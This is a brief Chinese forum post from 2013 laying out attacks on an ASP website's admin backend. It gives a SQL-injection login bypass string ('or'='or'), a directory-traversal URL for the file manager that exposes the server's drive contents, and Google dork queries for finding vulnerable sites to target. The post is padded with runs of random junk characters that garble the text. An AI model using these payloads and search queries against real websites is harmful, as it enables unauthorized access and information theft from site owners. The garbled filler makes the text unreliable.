后台万能密码 'or'='or'
3 f2 \ O' Q# h5 x5 o& f; g8 d; |$ U+ G" J6 Q
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
: M2 t) M9 w. j8 X( @admin/uploadfile.asp?currentFolder=/upfiles/../4 B g- V. b% c. `
7 F! Q& A+ K8 T4 L8 S漏洞证明：8 [& A, z, V' ?* L5 Z5 W3 B1 w2 J1 a, Y) I
! r0 a8 w+ O% |* p' l谷歌：inurl:type.asp?id=1 新闻中心
* y& y2 X) |( V, _! q! x或者 ：inurl:download_ok.asp?
1 E0 G3 s; o0 b ^! u- N$ _
. k. O' a! U2 D; W |
发表于 2013-3-14 20:17:32
收藏
支持
反对